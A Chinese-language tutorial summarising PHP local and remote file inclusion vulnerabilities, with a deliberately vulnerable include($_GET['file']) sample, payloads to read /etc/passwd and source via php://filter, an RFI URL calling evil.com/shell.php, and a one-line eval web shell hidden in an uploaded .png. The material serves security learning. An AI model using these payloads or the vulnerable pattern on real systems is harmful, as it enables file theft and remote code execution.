【重磅！】文件包含漏洞小结
文件包含漏洞属于代码注入漏洞，为了减少重复代码的编写，引入了文件包含函数，通过文件包含函数将文件包含进来，直接使用包含文件的代码；简单来说就是一个文件里面包含另外一个或多个文件。
但我们除了包含常规的代码文件外，包含的任意后缀文件都会被当作代码执行，因此，如果有允许用户控制包含文件路径的点，那么则很有可能包含非预期文件，从而执行非预期的代码导致getshell。
几乎所有的脚本语言中都会提供文件包含的功能，但文件包含漏洞在PHP Web Application中居多，在JSP、ASP中十分少甚至没有，问题在于语言设计的弊端。因此后续均以PHP为主。
文件包含漏洞分类PHP中的文件包含分为本地文件包含和远程文件包含。
LFI本地文件包含 Local File Include (LFI)
所包含文件内容符合PHP语法规范，任何扩展名都可以被PHP解析。
所包含文件内容不符合PHP语法规范，会暴露其源代码（相当于文件读取）。
RFI远程文件包含 Remote File Include (RFI)
如果要使用远程包含功能，首先需要确定PHP是否已经开启远程包含功能选项（php默认关闭远程包含功能：allow_url_include=off），开启远程包含功能需要在php.ini配置文件中修改。
远程包含与本地包含没有区别，无非是支持远程加载，更容易getshell，无论是哪种扩展名，只要遵循PHP语法规范，PHP解析器就会对其解析。
PHP中提供了四个文件包含的函数，分别是include()、include_once()、require()和require_once()。这四个函数都可以进行文件包含，但作用并不一样。
- include：找不到被包含的文件时只会产生警告，脚本将继续执行。
- include_once：和include()语句类似，唯一区别是如果该文件中的代码已经被包含，则不会再次包含。
- require：找不到被包含的文件时会产生致命错误，并停止脚本。
- require_once：和require()语句类似，唯一区别是如果该文件中的代码已经被包含，则不会再次包含。
<?php
// index.php
$file = $_GET[ 'file' ];
include$file
?>
快速启动一个简单的解析php的web server
php -S 127.0.0.1:9999
测试：
:9999/index.php?file=/etc/passwd
如果内容不符合php语法，就会直接返回文件内容，也就等于读取任意文件，和任意文件读取/下载一样，就不细说了，敏感文件路径可以参考我的另一篇文章：任意文件下载/读取
使用PHP封装协议PHP带有很多内置URL风格的封装协议
php://filter正常情况下，包含php文件会直接执行其中的代码，但如果我们想获取到php文件的源码，如config.php，那么我们可以通过封装协议php://filter来读取
:9999/index.php?file=php://filter/read=convert.base64-encode/resource=shell.png
利用条件：需要开启allow_url_include=on，对allow_url_fopen不做要求
感觉利用起来都比较鸡肋，有需要可以参考：浅谈文件包含漏洞
RFI getshell如果支持远程文件包含，那么直接:9999/index.php?file=http://evil.com/shell.php即可getshell，因为出现的情况实在是太少了，就不多说了。
LFI+文件上传 getshell这是本地文件包含漏洞想要getshell的最容易想到的方法之一。
网站存在LFI漏洞，同时存在上传功能，如上传头像、证明信息等，那么我们可以上传一个包含恶意代码的任意后缀文件，如.png
其中.png的内容包含
<?php @eval($_GET['shell']);?>
利用如下：
:9999/index.php?file=shell.png&shell=phpinfo();
